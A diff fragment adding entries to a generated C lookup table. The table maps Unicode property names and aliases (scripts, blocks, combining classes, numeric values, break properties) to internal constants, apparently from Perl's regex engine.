+ { 0, 4614, 0, 15, 0, PL_VEDICEXT } /* vedicextensions */,
+ { 2, 6506, 2129, 3, 5, PL_YIJING } /* isyijing */,
+ { 1, 974, 5219, 24, 2, PL_CCC__10 } /* canonicalcombiningclass=10 */,
+ { 0, 7380, 2769, 4, 18, PL_CCC__216 } /* ccc=attachedaboveright */,
+ { 0, 5544, 7750, 13, 2, PL_NV__80 } /* numericvalue=80 */,
+ { 177, 3129, 1107, 17, 8, PL_KANA } /* scriptextensions=katakana */,
+ { 0, 184, 6944, 2, 9, PL_LATINEXTC } /* islatinextc */,
+ { 4, 7459, 7971, 3, 5, PL_BATK } /* sc=batak */,
+ { 2, 3129, 7810, 17, 6, PL_GOTH } /* scriptextensions=gothic */,
+ { 0, 184, 7787, 3, 5, PL_CAKM } /* ischakma */,
+ { 0, 2249, 0, 4, 0, PL_GLAG } /* glag */,
+ { 67, 7870, 0, 4, 0, PL_LEPC } /* lepc */,
+ { 32, 6890, 2787, 4, 18, PL_CHEROKEESUP } /* blk=cherokeesupplement */,
+ { 73, 2990, 6865, 4, 7, PL_ARABICPFA } /* inarabicpfa */,
+ { 1, 5544, 7744, 13, 2, PL_NV__70 } /* numericvalue=70 */,
+ { 71, 7798, 7768, 6, 2, -PL_COMPEX } /* compex=f */,
+ { 0, 7459, 6806, 3, 4, PL_WARA } /* sc=wara */,
+ { 14, 7774, 7548, 3, 7, PL_SD } /* _canondcij */,
+ { 3, 5192, 2003, 3, 20, PL_PRTI } /* isinscriptionalparthian */,
+ { 0, 8440, 0, 4, 0, PL_OGAM } /* ogam */,
+ { 2, 8036, 516, 5, 13, PL_UIDEO } /* isunifiedideograph */,
+ { 1, 1589, 0, 14, 0, PL_LATINEXTA } /* latinextendeda */,
+ { 0, 8204, 0, 4, 0, PL_POSIXXDIGIT } /* ahex */,
+ { 1, 6890, 6373, 4, 11, PL_INPAHAWHHMONG } /* blk=pahawhhmong */,
+ { 10, 4314, 6417, 13, 11, PL_JG__STRAIGHTWAW } /* joininggroup=straightwaw */,
+ { 2, 7136, 2636, 6, 9, PL_INMONGOLIAN } /* block=mongolian */,
+ { 155, 3129, 7443, 17, 7, PL_GRAN } /* scriptextensions=grantha */,
+ { 1, 7459, 8304, 3, 4, PL_SC__GUJR } /* sc=gujr */,
+ { 4, 5645, 6017, 10, 12, PL_BC__ON } /* bidiclass=otherneutral */,
+ { 40, 7689, 8209, 3, 3, PL_AHOM } /* isahom */,
+ { 2, 5258, 0, 13, 0, PL_BLOCKELEMENTS } /* blockelements */,
+ { 10, 3424, 3223, 17, 2, -PL_IDSB } /* idsbinaryoperator=n */,
+ { 14, 2229, 32, 16, 2, PL_CS } /* generalcategory=cs */,
+ { 4, 6713, 8765, 3, 3, PL_IN__8 } /* in=8.0 */,
+ { 3, 8504, 1621, 3, 6, PL_SB__FO } /* sb=format */,
+ { 1, 7380, 8651, 4, 3, PL_CCC__132 } /* ccc=132 */,
+ { 10, 7227, 5252, 5, 6, PL_POSIXXDIGIT } /* posixxdigit */,
+ { 3, 5082, 0, 11, 0, PL_MC } /* spacingmark */,
+ { 13, 3129, 1540, 17, 4, PL_PHAG } /* scriptextensions=phag */,
+ { 0, 5388, 0, 13, 0, PL_KANAEXTA } /* kanaextendeda */,
+ { 1, 3129, 8368, 17, 4, PL_LAO } /* scriptextensions=laoo */,
+ { 2, 8816, 8160, 3, 4, PL_NV__13_SLASH_2 } /* nv=13/2 */,
+ { 82, 6472, 5762, 10, 3, PL_LB__ZWJ } /* wordbreak=zwj */,
+ { 7, 4554, 34, 14, 6, PL_SB__EX } /* sentencebreak=extend */,
+ { 1, 3521, 7768, 5, 6, -PL_XPOSIXSPACE } /* space=false */,
+ { 5, 6210, 7787, 3, 5, PL_INCHAKMA } /* inchakma */,
+ { 1, 1452, 0, 2, 0, PL_PS } /* ps */,
+ { 2, 4314, 5894, 13, 3, PL_JG__NYA } /* joininggroup=nya */,
+ { 0, 3458, 0, 4, 0, PL_MANI } /* mani */,
+ { 0, 184, 1028, 3, 3, PL_COPT } /* iscopt */,
+ { 256, 21, 1589, 2, 9, PL_LATINEXTE } /* inlatinexte */,
+ { 18, 21, 8428, 2, 4, PL_INNEWA } /* innewa */,
+ { 81, 4630, 1930, 3, 8, PL_XPOSIXUPPER } /* isuppercase */,
+ { 32, 4314, 6285, 13, 11, PL_JG__MALAYALAMRA } /* joininggroup=malayalamra */,
+ { 35, 5134, 2371, 3, 3, PL_PRTI } /* isprti */,
+ { 0, 436, 7997, 5, 4, PL_NCHAR } /* nchar=yes */,
+ { 144, 7906, 7860, 5, 4, PL_SC__KHOJ } /* sc=khojki */,
+ { 0, 3129, 7492, 17, 7, PL_KNDA } /* scriptextensions=kannada */,
+ { 259, 5544, 7744, 13, 5, PL_NV__70000 } /* numericvalue=70000 */,
+ { 4, 8011, 1393, 4, 8, PL_CS } /* gc=surrogate */,
+ { 1, 6890, 1566, 4, 23, PL_COMPATJAMO } /* blk=hangulcompatibilityjamo */,
+ { 0, 1448, 2715, 5, 16, PL_SUPARROWSB } /* insupplementalarrowsb */,
+ { 1, 7459, 7034, 3, 9, PL_PALM } /* sc=palmyrene */,
+ { 2, 6554, 3611, 3, 15, PL_BOPOMOFOEXT } /* inbopomofoextended */,
+ { 3, 2229, 3075, 16, 18, PL_ZP } /* generalcategory=paragraphseparator */,
+ { 0, 7288, 8253, 8, 3, PL_SC__BUHD } /* script=buhd */,
+ { 2, 6483, 7997, 11, 4, PL_XIDC } /* xidcontinue=yes */,
+ { 0, 7136, 5609, 6, 12, PL_ALPHABETICPF } /* block=alphabeticpf */,
+ { 2, 7459, 3882, 3, 7, PL_SC__MYMR } /* sc=myanmar */,
+ { 0, 5557, 7997, 13, 4, PL_PATSYN } /* patternsyntax=yes */,
+ { 3, 3129, 6926, 17, 9, PL_SIND } /* scriptextensions=khudawadi */,
+ { 7, 1892, 7768, 5, 6, -PL_CASED } /* cased=false */,
+ { 0, 7457, 699, 5, 6, PL_INSC__NUMBER } /* insc=number */,
+ { 65, 3129, 1680, 17, 6, PL_ZYYY } /* scriptextensions=common */,
+ { 45, 2100, 6352, 3, 10, PL_NO } /* isothernumber */,
+ { 6, 4239, 7997, 4, 2, PL_DASH } /* dash=y */,
+ { 18, 4063, 2879, 4, 11, PL_DEVANAGARIEXT } /* indevanagariext */,
+ { 12, 7288, 2841, 7, 6, PL_SC__COPT } /* script=coptic */,
+ { 0, 2065, 3223, 21, 3, -PL_NCHAR } /* noncharactercodepoint=no */,
+ { 0, 4542, 5552, 3, 3, PL_TALU } /* istalu */,
+ { 0, 7459, 8448, 3, 4, PL_ORKH } /* sc=orkh */,
+ { 1, 7288, 2360, 7, 4, PL_SC__MAND } /* script=mand */,
+ { 114, 184, 8091, 2, 5, PL_RUNR } /* isrunic */,
+ { 0, 7288, 8352, 7, 4, PL_KHMR } /* script=khmr */,
+ { 2, 8816, 8688, 3, 2, PL_NV__26 } /* nv=26 */,
+ { 0, 3521, 7997, 5, 2, PL_XPOSIXSPACE } /* space=y */,
+ { 0, 6890, 4784, 4, 4, PL_INCHAM } /* blk=cham */,
+ { 73, 3129, 8456, 17, 4, PL_OSGE } /* scriptextensions=osge */,
+ { 0, 7288, 8268, 7, 4, PL_SC__CPRT } /* script=cprt */,
+ { 0, 8096, 2967, 4, 4, PL_GEOR } /* scx=geor */,
+ { 0, 8376, 223, 3, 2, PL_LB__PR } /* lb=pr */,
+ { 0, 974, 7924, 24, 6, PL_CCC__9 } /* canonicalcombiningclass=virama */,
+ { 1, 3129, 7846, 17, 6, PL_KTHI } /* scriptextensions=kaithi */,
+ { 0, 21, 7957, 3, 4, PL_INADLAM } /* inadlam */,
+ { 82, 5544, 5219, 13, 3, PL_NV__100 } /* numericvalue=100 */,
+ { 3, 3373, 1093, 15, 9, PL_EA__F } /* eastasianwidth=fullwidth */,
+ { 0, 7136, 4010, 6, 6, PL_INTANGUT } /* block=tangut */,
+ { 0, 8011, 5323, 3, 13, PL_ME } /* gc=enclosingmark */,
+ { 0, 7380, 8673, 7, 2, PL_CCC__14 } /* ccc=ccc14 */,
+ { 0, 5192, 6918, 3, 8, PL_QAAI } /* isinherited */,
+ { 15, 8096, 8091, 4, 5, PL_RUNR } /* scx=runic */,
+ { 0, 6890, 2484, 4, 19, PL_INEGYPTIANHIEROGLYPHS } /* blk=egyptianhieroglyphs */,
+ { 0, 6713, 8855, 3, 3, PL_IN__3_DOT_2 } /* in=v32 */,
+ { 1, 184, 1886, 2, 2, PL_NL } /* isnl */,
+ { 30, 11, 7997, 3, 4, PL_DIA } /* dia=yes */,
+ { 0, 8272, 3223, 4, 3, -PL_CWCF } /* cwcf=no */,
+ { 22, 8572, 1107, 3, 8, PL_WB__KA } /* wb=katakana */,
+ { 261, 5557, 7997, 13, 2, PL_PATSYN } /* patternsyntax=y */,
+ { 2, 4542, 1372, 4, 2, PL_TELU } /* istelu */,
+ { 2, 8101, 7951, 5, 5, PL_STERM } /* sterm=true */,
+ { 4, 4402, 2637, 3, 18, PL_MONGOLIANSUP } /* inmongoliansupplement */,
+ { 0, 1159, 7997, 25, 4, PL_CWKCF } /* changeswhennfkccasefolded=yes */,
+ { 28, 8016, 4047, 4, 2, PL_LB__H2 } /* gcb=lv */,
+ { 3, 2229, 45, 16, 2, PL_CO } /* generalcategory=co */,
+ { 29, 947, 0, 27, 0, PL_ANCIENTGREEKMUSIC } /* ancientgreekmusicalnotation */,
+ { 35, 6263, 6899, 10, 9, PL_LB__B2 } /* linebreak=breakboth */,
+ { 3, 7380, 7576, 4, 7, PL_CCC__1 } /* ccc=overlay */,
+ { 13, 974, 8705, 24, 3, PL_CCC__IS } /* canonicalcombiningclass=240 */,
+ { 0, 6263, 6186, 10, 11, PL_LB__IN } /* linebreak=inseparable */,
+ { 1, 510, 0, 30, 0, PL_CJKEXTA } /* cjkunifiedideographsextensiona */,
+ { 49, 7380, 5981, 4, 12, PL_CCC__0 } /* ccc=notreordered */,
+ { 0, 21, 8091, 2, 5, PL_INRUNIC } /* inrunic */,
+ { 0, 7136, 5693, 6, 12, PL_CYRILLICEXTB } /* block=cyrillicextb */,
+ { 0, 3706, 0, 16, 0, PL_HALFANDFULLFORMS } /* halfandfullforms */,
+ { 0, 3898, 0, 16, 0, PL_MYANMAREXTB } /* myanmarextendedb */,
+ { 1, 7459, 2107, 3, 4, PL_SC__SINH } /* sc=sinh */,
+ { 30, 117, 2004, 4, 19, PL_ININSCRIPTIONALPARTHIAN } /* ininscriptionalparthian */,
+ { 145, 6706, 8870, 10, 3, PL_IN__5_DOT_2 } /* presentin=v52 */,
+ { 28, 6890, 2541, 4, 10, PL_JAMO } /* blk=hanguljamo */,
+ { 3, 7288, 7583, 7, 7, PL_SC__PHAG } /* script=phagspa */,
+ { 3, 5544, 8744, 13, 3, PL_NV__5_SLASH_8 } /* numericvalue=5/8 */,
+ { 2, 3129, 7336, 17, 8, PL_UGAR } /* scriptextensions=ugaritic */,
+ { 28, 8816, 5219, 3, 11, PL_NV__10000000000 } /* nv=10000000000 */,
+ { 4, 7459, 8200, 3, 4, PL_AGHB } /* sc=aghb */,
+ { 2, 3129, 6005, 17, 12, PL_HUNG } /* scriptextensions=oldhungarian */,
+ { 0, 8076, 7997, 5, 4, PL_PATWS } /* patws=yes */,
+ { 51, 1746, 8789, 21, 3, PL_WB__EBG } /* graphemeclusterbreak=ebg */,
+ { 0, 8816, 7732, 3, 2, PL_NV__50 } /* nv=50 */,
+ { 24, 7459, 6736, 3, 10, PL_SAUR } /* sc=saurashtra */,
+ { 18, 8240, 4149, 3, 15, PL_BC__CS } /* bc=commonseparator */,
+ { 0, 8376, 6197, 3, 11, PL_LB__IN } /* lb=inseperable */,
+ { 65, 7208, 0, 4, 0, PL_HIRA } /* hira */,
+ { 0, 4314, 4967, 13, 14, PL_JG__MANICHAEANKAPH } /* joininggroup=manichaeankaph */,
+ { 0, 6472, 7165, 10, 3, PL_WB__GAZ } /* wordbreak=gaz */,
+ { 32, 6706, 7744, 10, 1, PL_IN__7 } /* presentin=7 */,
+ { 14, 6890, 5363, 5, 5, PL_IPAEXT } /* blk=ipaext */,
+ { 0, 1963, 7997, 7, 4, PL_RADICAL } /* radical=yes */,
+ { 0, 8816, 8164, 3, 2, PL_NV__15 } /* nv=15 */,
+ { 101, 6120, 0, 11, 0, PL_DOMINO } /* dominotiles */,
+ { 0, 184, 2842, 3, 17, PL_COPTICEPACTNUMBERS } /* iscopticepactnumbers */,
+ { 0, 7380, 8051, 4, 5, PL_CCC__7 } /* ccc=nukta */,
+ { 0, 6890, 5825, 4, 12, PL_MAHJONG } /* blk=mahjongtiles */,
+ { 1, 7457, 4743, 5, 14, PL_INSC__GEMINATIONMARK } /* insc=geminationmark */,
+ { 1, 5544, 8688, 13, 2, PL_NV__26 } /* numericvalue=26 */,
+ { 1, 7457, 4539, 5, 15, PL_INSC__REGISTERSHIFTER } /* insc=registershifter */,
+ { 2, 892, 0, 28, 0, PL_VSSUP } /* variationselectorssupplement */,
+ { 45, 6890, 920, 4, 27, PL_ALPHABETICPF } /* blk=alphabeticpresentationforms */,
+ { 0, 6210, 7395, 3, 6, PL_CJKEXTB } /* incjkextb */,
+ { 0, 8096, 6008, 4, 4, PL_HUNG } /* scx=hung */,
+ { 0, 7380, 6836, 4, 9, PL_CCC__AL } /* ccc=aboveleft */,
+ { 38, 6890, 2044, 4, 14, PL_MEETEIMAYEKEXT } /* blk=meeteimayekext */,
+ { 0, 5375, 6461, 12, 11, PL_JT__T } /* joiningtype=transparent */,
+ { 0, 8316, 0, 4, 0, PL_HANO } /* hano */,
+ { 0, 8096, 8412, 4, 4, PL_MTEI } /* scx=mtei */,
+ { 0, 7288, 7436, 7, 7, PL_ELBA } /* script=elbasan */,
+ { 100, 8340, 6417, 3, 11, PL_JG__STRAIGHTWAW } /* jg=straightwaw */,
+ { 0, 6890, 2877, 4, 10, PL_INDEVANAGARI } /* blk=devanagari */,
+ { 101, 96, 3223, 5, 2, -PL_XPOSIXALPHA } /* alpha=n */,
+ { 0, 7401, 0, 7, 0, PL_CJKEXTC } /* cjkextc */,
+ { 0, 7478, 6737, 3, 9, PL_SAUR } /* issaurashtra */,
+ { 1, 21, 8046, 2, 5, PL_INLIMBU } /* inlimbu */,
+ { 49, 7459, 7200, 3, 8, PL_SC__GURU } /* sc=gurmukhi */,
+ { 0, 974, 18, 24, 1, PL_CCC__R } /* canonicalcombiningclass=r */,
+ { 0, 7459, 7611, 3, 7, PL_SOYO } /* sc=soyombo */,
+ { 0, 184, 7256, 2, 8, PL_KANAEXTA } /* iskanaexta */,
+ { 1, 8096, 1981, 4, 8, PL_CYRL } /* scx=cyrillic */,
+ { 0, 8006, 3223, 5, 2, -PL_CWKCF } /* cwkcf=n */,
+ { 11, 6472, 125, 10, 2, PL_LB__CR } /* wordbreak=cr */,
+ { 29, 8096, 7499, 4, 7, PL_KALI } /* scx=kayahli */,
+ { 3, 2229, 8001, 16, 5, PL_XPOSIXCNTRL } /* generalcategory=cntrl */,
+ { 90, 3129, 5121, 17, 14, PL_PHLP } /* scriptextensions=psalterpahlavi */,
+ { 3, 8340, 8212, 3, 4, PL_JG__ALEF } /* jg=alef */,
+ { 0, 6890, 7320, 4, 8, PL_INTIFINAGH } /* blk=tifinagh */,
+ { 0, 3129, 8608, 17, 4, PL_ZZZZ } /* scriptextensions=zzzz */,
+ { 128, 7459, 8044, 3, 4, PL_PHLI } /* sc=phli */,
+ { 4, 6472, 5729, 10, 12, PL_WB__EX } /* wordbreak=extendnumlet */,
+ { 0, 2674, 0, 12, 0, PL_SUNDANESESUP } /* sundanesesup */,
+ { 5, 1497, 0, 23, 0, PL_BYZANTINEMUSIC } /* byzantinemusicalsymbols */,
+ { 0, 7136, 1498, 7, 22, PL_BYZANTINEMUSIC } /* block=byzantinemusicalsymbols */,
+ { 2, 3129, 1566, 17, 6, PL_HANG } /* scriptextensions=hangul */,
+ { 1, 7534, 0, 7, 0, PL_NB } /* noblock */,
+ { 0, 3914, 0, 5, 0, PL_C } /* other */,
+ { 37, 8026, 809, 3, 27, PL_PHONETICEXTSUP } /* inphoneticextensionssupplement */,
+ { 2, 5544, 7936, 13, 5, PL_NV__1_SLASH_160 } /* numericvalue=1/160 */,
+ { 0, 7459, 7786, 3, 6, PL_SC__CAKM } /* sc=chakma */,
+ { 256, 3424, 7997, 4, 2, PL_IDSB } /* idsb=y */,
+ { 265, 6483, 0, 11, 0, PL_XIDC } /* xidcontinue */,
+ { 0, 6890, 5336, 4, 13, PL_GREEKEXT } /* blk=greekextended */,
+ { 6, 1184, 3223, 25, 2, -PL_DI } /* defaultignorablecodepoint=n */,
+ { 0, 7459, 8608, 3, 4, PL_ZZZZ } /* sc=zzzz */,
+ { 10, 974, 8228, 24, 3, PL_CCC__202 } /* canonicalcombiningclass=atb */,
+ { 38, 8376, 6845, 3, 9, PL_LB__AI } /* lb=ambiguous */,
+ { 0, 184, 7, 3, 1, PL_XPOSIXCNTRL } /* iscc */,
+ { 280, 1589, 0, 9, 0, PL_LATINEXTE } /* latinexte */,
+ { 0, 7136, 4089, 6, 15, PL_ARABICEXTA } /* block=arabicextendeda */,
+ { 1, 2750, 3223, 19, 3, -PL_TERM } /* terminalpunctuation=no */,
+ { 263, 7136, 2389, 6, 19, PL_ANCIENTGREEKNUMBERS } /* block=ancientgreeknumbers */,
+ { 1, 1746, 73, 21, 2, PL_LB__EM } /* graphemeclusterbreak=em */,
+ { 1, 5645, 5079, 10, 14, PL_BC__NSM } /* bidiclass=nonspacingmark */,
+ { 65, 7798, 3223, 6, 3, -PL_COMPEX } /* compex=no */,
+ { 0, 3129, 7152, 17, 4, PL_DUPL } /* scriptextensions=dupl */,
+ { 0, 3129, 7120, 17, 4, PL_BALI } /* scriptextensions=bali */,
+ { 288, 7459, 6373, 3, 11, PL_HMNG } /* sc=pahawhhmong */,
+ { 6, 2229, 1679, 16, 2, PL_PC } /* generalcategory=pc */,
+ { 0, 3129, 7822, 17, 4, PL_HATR } /* scriptextensions=hatr */,
+ { 0, 974, 8632, 27, 2, PL_CCC__91 } /* canonicalcombiningclass=ccc91 */,
+ { 4, 5134, 2, 3, 1, PL_PI } /* ispi */,
+ { 29, 184, 8941, 2, 2, PL_ZS } /* iszs */,
+ { 15, 7288, 7858, 7, 6, PL_SC__KHOJ } /* script=khojki */,
+ { 0, 96, 7951, 5, 5, PL_XPOSIXALPHA } /* alpha=true */,
+ { 0, 8288, 5969, 3, 8, PL_DT__NONCANON } /* dt=noncanon */,
+ { 0, 184, 2249, 2, 10, PL_GLAG } /* isglagolitic */,
+ { 1, 6890, 6318, 4, 11, PL_MYANMAREXTB } /* blk=myanmarextb */,
+ { 64, 7459, 8312, 3, 4, PL_SC__HAN } /* sc=hani */,
+ { 81, 1897, 7768, 21, 6, -PL_CWT } /* changeswhentitlecased=false */,
+ { 0, 6890, 1702, 4, 12, PL_DIACRITICALS } /* blk=diacriticals */,
+ { 0, 8504, 1074, 3, 2, PL_SB__ST } /* sb=st */,
+ { 0, 447, 0, 32, 0, PL_IDEOGRAPHICSYMBOLS } /* ideographicsymbolsandpunctuation */,
+ { 0, 599, 0, 2, 0, PL_XPOSIXCNTRL } /* cc */,
+ { 0, 5544, 5219, 13, 9, PL_NV__100000000 } /* numericvalue=100000000 */,
+ { 0, 8816, 8161, 3, 3, PL_NV__3_SLASH_2 } /* nv=3/2 */,
+ { 0, 8376, 3, 4, 1, PL_LB__LF } /* lb=lf */,
+ { 23, 7288, 1680, 7, 6, PL_SC__ZYYY } /* script=common */,
+ { 82, 8816, 3743, 3, 1, PL_NV__1 } /* nv=1 */,
+ { 259, 184, 6296, 2, 11, PL_MISCSYMBOLS } /* ismiscsymbols */,
+ { 28, 8086, 7997, 5, 2, PL_QMARK } /* qmark=y */,
+ { 0, 7288, 8316, 7, 4, PL_SC__HANO } /* script=hano */,
+ { 0, 6472, 1107, 10, 2, PL_WB__KA } /* wordbreak=ka */,
+ { 1, 4479, 7998, 15, 3, PL_NFKCQC__Y } /* nfkcquickcheck=yes */,
+ { 0, 3674, 0, 16, 0, PL_CYPRIOTSYLLABARY } /* cypriotsyllabary */,
+ { 65, 3114, 7675, 3, 6, PL_UCASEXT } /* inucasext */,
+ { 74, 3129, 1479, 18, 2, PL_VAI } /* scriptextensions=vai */,
+ { 9, 5192, 5363, 3, 12, PL_IPAEXT } /* isipaextensions */,
+ { 0, 6613, 2561, 3, 18, PL_JAMOEXTB } /* ishanguljamoextendedb */,
+ { 0, 7380, 8168, 7, 2, PL_CCC__17 } /* ccc=ccc17 */,
+ { 0, 8196, 8660, 4, 3, PL_AGE__2_DOT_1 } /* age=2.1 */,
+ { 16, 184, 4210, 3, 14, PL_CONTROLPICTURES } /* iscontrolpictures */,
+ { 24, 8376, 2284, 3, 2, PL_LB__HL } /* lb=hl */,
+ { 1, 7136, 5149, 6, 14, PL_SUPPUNCTUATION } /* block=suppunctuation */,
+ { 1, 8340, 7079, 3, 9, PL_JG__SYRIACWAW } /* jg=syriacwaw */,
+ { 3, 5544, 7720, 13, 4, PL_NV__4000 } /* numericvalue=4000 */,
+ { 14, 8076, 3581, 5, 2, PL_PATWS } /* patws=t */,
+ { 0, 6109, 0, 10, 0, PL_C } /* category=c */,
+ { 1, 184, 3390, 2, 17, PL_ETHIOPICEXTA } /* isethiopicextendeda */,
+ { 1, 7459, 7351, 3, 4, PL_SC__TALE } /* sc=tale */,
+ { 2, 2229, 6098, 16, 11, PL_L_AMP_ } /* generalcategory=casedletter */,
+ { 0, 8096, 8476, 4, 4, PL_COPT } /* scx=qaac */,
+ { 0, 8081, 0, 5, 0, PL_XPOSIXPRINT } /* print */,
+ { 42, 3129, 8540, 17, 4, PL_TAML } /* scriptextensions=taml */,
+ { 6, 5544, 8168, 13, 2, PL_NV__17 } /* numericvalue=17 */,
+ { 0, 8096, 6676, 4, 10, PL_XPEO } /* scx=oldpersian */,
+ { 1, 1448, 7612, 3, 6, PL_INSOYOMBO } /* insoyombo */,
+ { 0, 8288, 8831, 3, 3, PL_DT__SML } /* dt=sml */,
+ { 0, 184, 5336, 2, 8, PL_GREEKEXT } /* isgreekext */,
+ { 18, 5134, 5122, 3, 13, PL_PHLP } /* ispsalterpahlavi */,
+ { 48, 974, 2295, 24, 5, PL_CCC__R } /* canonicalcombiningclass=right */,
+ { 20, 6221, 2807, 4, 16, PL_HALFMARKS } /* incombininghalfmarks */,
+ { 81, 974, 7702, 24, 3, PL_CCC__133 } /* canonicalcombiningclass=200 */,
+ { 1, 6263, 496, 10, 7, PL_LB__NU } /* linebreak=numeric */,
+ { 66, 6890, 1797, 4, 4, PL_INMODI } /* blk=modi */,
+ { 72, 1133, 3581, 26, 2, PL_PCM } /* prependedconcatenationmark=t */,
+ { 6, 8076, 3223, 5, 3, -PL_PATWS } /* patws=no */,
+ { 0, 7288, 3994, 7, 6, PL_SC__SYRC } /* script=syriac */,
+ { 17, 6890, 7240, 4, 8, PL_JAMOEXTB } /* blk=jamoextb */,
+ { 8, 8096, 8588, 4, 4, PL_YI } /* scx=yiii */,
+ { 3, 510, 0, 20, 0, PL_CJK } /* cjkunifiedideographs */,
+ { 0, 184, 8277, 3, 3, PL_CWCM } /* iscwcm */,
+ { 2, 3516, 0, 10, 0, PL_XPOSIXSPACE } /* whitespace */,
+ { 1, 1499, 0, 1, 0, PL_Z } /* z */,
+ { 0, 8816, 7702, 3, 5, PL_NV__20000 } /* nv=20000 */,
+ { 16, 184, 8236, 2, 4, PL_BATK } /* isbatk */,
+ { 1, 974, 8654, 27, 3, PL_CCC__133 } /* canonicalcombiningclass=ccc133 */,
+ { 0, 8816, 8663, 3, 3, PL_NV__2_SLASH_3 } /* nv=2/3 */,
+ { 0, 7459, 8116, 3, 5, PL_SC__TAML } /* sc=tamil */,
+ { 31, 5801, 0, 12, 0, PL_KHMERSYMBOLS } /* khmersymbols */,
+ { 0, 8036, 3, 5, 39, PL_UCASEXT } /* isunifiedcanadianaboriginalsyllabicsextended */,
+ { 0, 1402, 2289, 24, 4, PL_INPC__LEFT } /* indicpositionalcategory=left */,
+ { 1, 184, 4757, 2, 14, PL_GREXT } /* isgraphemeextend */,
+ { 0, 8096, 2044, 4, 11, PL_MTEI } /* scx=meeteimayek */,
+ { 1, 6890, 2895, 4, 11, PL_ETHIOPICSUP } /* blk=ethiopicsup */,
+ { 44, 8096, 8608, 4, 4, PL_ZZZZ } /* scx=zzzz */,
+ { 0, 6472, 4561, 10, 2, PL_WB__EB } /* wordbreak=eb */,
+ { 0, 1354, 7997, 24, 2, PL_COMPEX } /* fullcompositionexclusion=y */,
+ { 0, 6210, 5682, 3, 11, PL_CYRILLICEXTA } /* incyrillicexta */,
+ { 0, 4479, 47, 15, 1, PL_NFCQC__M } /* nfkcquickcheck=m */,
+ { 1, 1107, 0, 8, 0, PL_KANA } /* katakana */,
+ { 0, 7780, 0, 4, 0, PL_CARI } /* cari */,
+ { 1, 3373, 1, 15, 1, PL_EA__N } /* eastasianwidth=n */,
+ { 0, 4314, 4925, 13, 14, PL_JG__MANICHAEANBETH } /* joininggroup=manichaeanbeth */,
+ { 2, 5544, 8627, 13, 3, PL_NV__1_SLASH_8 } /* numericvalue=1/8 */,
+ { 16, 7136, 7597, 6, 7, PL_SHAW } /* block=shavian */,
+ { 4, 6890, 4134, 4, 7, PL_BRAI } /* blk=braille */,
+ { 0, 7136, 3674, 6, 16, PL_CYPRIOTSYLLABARY } /* block=cypriotsyllabary */,
+ { 0, 8096, 7043, 4, 9, PL_PAUC } /* scx=paucinhau */,
+ { 3, 1402, 6121, 3, 10, PL_DOMINO } /* indominotiles */,
+ { 8, 7227, 8001, 5, 5, PL_POSIXCNTRL } /* posixcntrl */,
+ { 13, 7459, 7443, 3, 7, PL_SC__GRAN } /* sc=grantha */,
+ { 0, 184, 7870, 2, 4, PL_LEPC } /* islepc */,
+ { 0, 7136, 1258, 6, 24, PL_ARABICPFB } /* block=arabicpresentationformsb */,
+ { 19, 6472, 3914, 10, 5, PL_WB__XX } /* wordbreak=other */,
+ { 94, 1855, 0, 21, 0, PL_CWCM } /* changeswhencasemapped */,
+ { 0, 1887, 7997, 5, 4, PL_XPOSIXLOWER } /* lower=yes */,
+ { 1, 6766, 0, 10, 0, PL_SUPARROWSA } /* suparrowsa */,
+ { 257, 7828, 7997, 6, 2, PL_HYPHEN } /* hyphen=y */,
+ { 3, 184, 2895, 2, 18, PL_ETHIOPICSUP } /* isethiopicsupplement */,
+ { 74, 7136, 4254, 6, 15, PL_DIACRITICALSEXT } /* block=diacriticalsext */,
+ { 32, 6616, 7951, 10, 5, PL_DEP } /* deprecated=true */,
+ { 1, 7459, 8560, 3, 4, PL_TIBT } /* sc=tibt */,
+ { 0, 5645, 806, 10, 2, PL_BC__WS } /* bidiclass=ws */,
+ { 6, 8388, 0, 4, 0, PL_LISU } /* lisu */,
+ { 177, 184, 5682, 3, 11, PL_CYRILLICEXTA } /* iscyrillicexta */,
+ { 1, 7136, 8532, 6, 4, PL_TAGS } /* block=tags */,
+ { 150, 1887, 7951, 5, 5, PL_XPOSIXLOWER } /* lower=true */,
+ { 0, 8076, 7768, 5, 2, -PL_PATWS } /* patws=f */,
+ { 258, 1417, 133, 9, 4, PL_M } /* category=mark */,
+ { 81, 8288, 2100, 3, 3, PL_DT__ISO } /* dt=iso */,
+ { 0, 8096, 7858, 4, 4, PL_KHOJ } /* scx=khoj */,
+ { 1, 4464, 8256, 4, 3, PL_DT__CAN } /* nfdqc=n */,
+ { 2, 8096, 7336, 4, 8, PL_UGAR } /* scx=ugaritic */,
+ { 0, 6472, 6153, 10, 11, PL_WB__DQ } /* wordbreak=doublequote */,
+ { 0, 3129, 78, 17, 4, PL_ARAB } /* scriptextensions=arab */,
+ { 0, 1184, 7997, 25, 4, PL_DI } /* defaultignorablecodepoint=yes */,
+ { 3, 7136, 7232, 6, 8, PL_JAMOEXTA } /* block=jamoexta */,
+ { 0, 6554, 5400, 3, 7, PL_INBALINESE } /* inbalinese */,
+ { 0, 2787, 0, 18, 0, PL_CHEROKEESUP } /* cherokeesupplement */,
+ { 0, 3129, 8352, 17, 4, PL_KHMR } /* scriptextensions=khmr */,
+ { 0, 7478, 1393, 3, 8, PL_CS } /* issurrogate */,
+ { 0, 7478, 8525, 3, 3, PL_SHRD } /* isshrd */,
+ { 0, 974, 8740, 27, 2, PL_CCC__25 } /* canonicalcombiningclass=ccc25 */,
+ { 0, 7288, 7492, 7, 7, PL_SC__KNDA } /* script=kannada */,
+ { 275, 184, 1797, 2, 15, PL_MODIFIERLETTERS } /* ismodifierletters */,
+ { 11, 8819, 0, 3, 0, PL_OCR } /* ocr */,
+ { 1, 7248, 0, 4, 0, PL_JAVA } /* java */,
+ { 1, 8568, 0, 4, 0, PL_VAI } /* vaii */,
+ { 4, 6890, 42, 4, 9, PL_CJKCOMPAT } /* blk=cjkcompat */,
+ { 5, 7459, 954, 3, 5, PL_SC__GREK } /* sc=greek */,
+ { 0, 2108, 1568, 4, 21, PL_COMPATJAMO } /* inhangulcompatibilityjamo */,
+ { 0, 7459, 6439, 3, 11, PL_SC__SYLO } /* sc=sylotinagri */,
+ { 0, 6210, 631, 3, 29, PL_CJKEXTE } /* incjkunifiedideographsextensione */,
+ { 2, 6890, 6241, 4, 11, PL_KATAKANAEXT } /* blk=katakanaext */,
+ { 3, 7689, 921, 3, 26, PL_ALPHABETICPF } /* isalphabeticpresentationforms */,
+ { 2, 4314, 4963, 13, 4, PL_JG__HETH } /* joininggroup=heth */,
+ { 5, 5544, 7738, 13, 6, PL_NV__600000 } /* numericvalue=600000 */,
